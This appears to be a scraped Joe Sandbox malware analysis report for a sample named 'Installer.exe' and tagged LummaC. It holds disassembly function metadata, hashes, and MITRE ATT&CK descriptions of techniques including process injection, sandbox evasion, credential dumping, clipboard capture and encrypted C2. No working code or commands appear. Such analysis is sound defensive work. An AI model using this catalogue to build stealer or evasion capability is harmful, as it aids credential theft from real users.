Similarity

API ID: Variant$ClearInit
String ID: $"$%$-$3$4$`$b$d$f$j$l$m$n
API String ID: 2610073882-388534048
Opcode ID: ae5400dcd5d302ef961202c0a16dd426301db3ee827d1cb557e1cc8c01814538
Instruction ID: cf5d184b347ae60a31a8e7b64644b3d0961cef50304e460fca956dadef895e24
Opcode Fuzzy Hash: ae5400dcd5d302ef961202c0a16dd426301db3ee827d1cb557e1cc8c01814538
Instruction Fuzzy Hash: 2F413C612087C08ED726CF3CC885346BFE1AB66314F08869DD8E58F39BD275D516C766

Function 0042DAFD Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042DC5F

Strings

glhm, xrefs: 0042DB59
G, xrefs: 0042DC87
kdge, xrefs: 0042DB69

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: FreeLibrary
String ID: G$glhm$kdge
API String ID: 3664257935-3790318392
Opcode ID: efda84222cddbdac5fe667d835128501f3c90b1fd491eb25eb067e342f112da9
Instruction ID: bfd15d46e1ac39dd06e1a04889429419f0e65eafd70abaf615cf56b171db5900
Opcode Fuzzy Hash: efda84222cddbdac5fe667d835128501f3c90b1fd491eb25eb067e342f112da9
Instruction Fuzzy Hash: C451267060C3919FE311CB25D850B6BBFD0EFA6300F14486DF5C5AB392D2B98805CB56

Function 00424883 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004248C1

Strings

q, xrefs: 00424900
ha, xrefs: 004248F9
ha, xrefs: 00424960, 00424519

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ha$ha$q
API String ID: 237503144-2525095540
Opcode ID: 2afdf2c7a496911d1016a4b7ad03343ecd8edc0553639cf8e445061b07e4d96e
Instruction ID: c658e200b3172b2c4a4d6f089079a709458a382cdb7082564cb6dc42ecfb3a23
Opcode Fuzzy Hash: 2afdf2c7a496911d1016a4b7ad03343ecd8edc0553639cf8e445061b07e4d96e
Instruction Fuzzy Hash: B731D575A00211CFDB10CF98D881BAE7BB1FF49714F158079E914AF396DB75D8028B95

Function 0043403E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043406C
GetSystemMetrics.USER32 ref: 0043407B

Strings

, xrefs: 00434129

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 9263576a989dd9e8dd5ba1139270ca0a2cd30e8eaf9ab1227e7a8ea63402d5a7
Instruction ID: e93982ecca13eb1c7eb5bd9c416ca4066cf6d94eca1d44aa69bf2b87bfcca62b
Opcode Fuzzy Hash: 9263576a989dd9e8dd5ba1139270ca0a2cd30e8eaf9ab1227e7a8ea63402d5a7
Instruction Fuzzy Hash: 3931A3B49143548FDB00EFA8E98565DBBF0BB89704F11852EE498DB360D774A948CF86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Installer.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Installer.exe

Function 0037A19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00341FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Function 003424B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Function 0035CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00341750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Function 00355349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 003554EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 0035565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00363BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 003643CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 003490F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Function 0035DA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00341EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre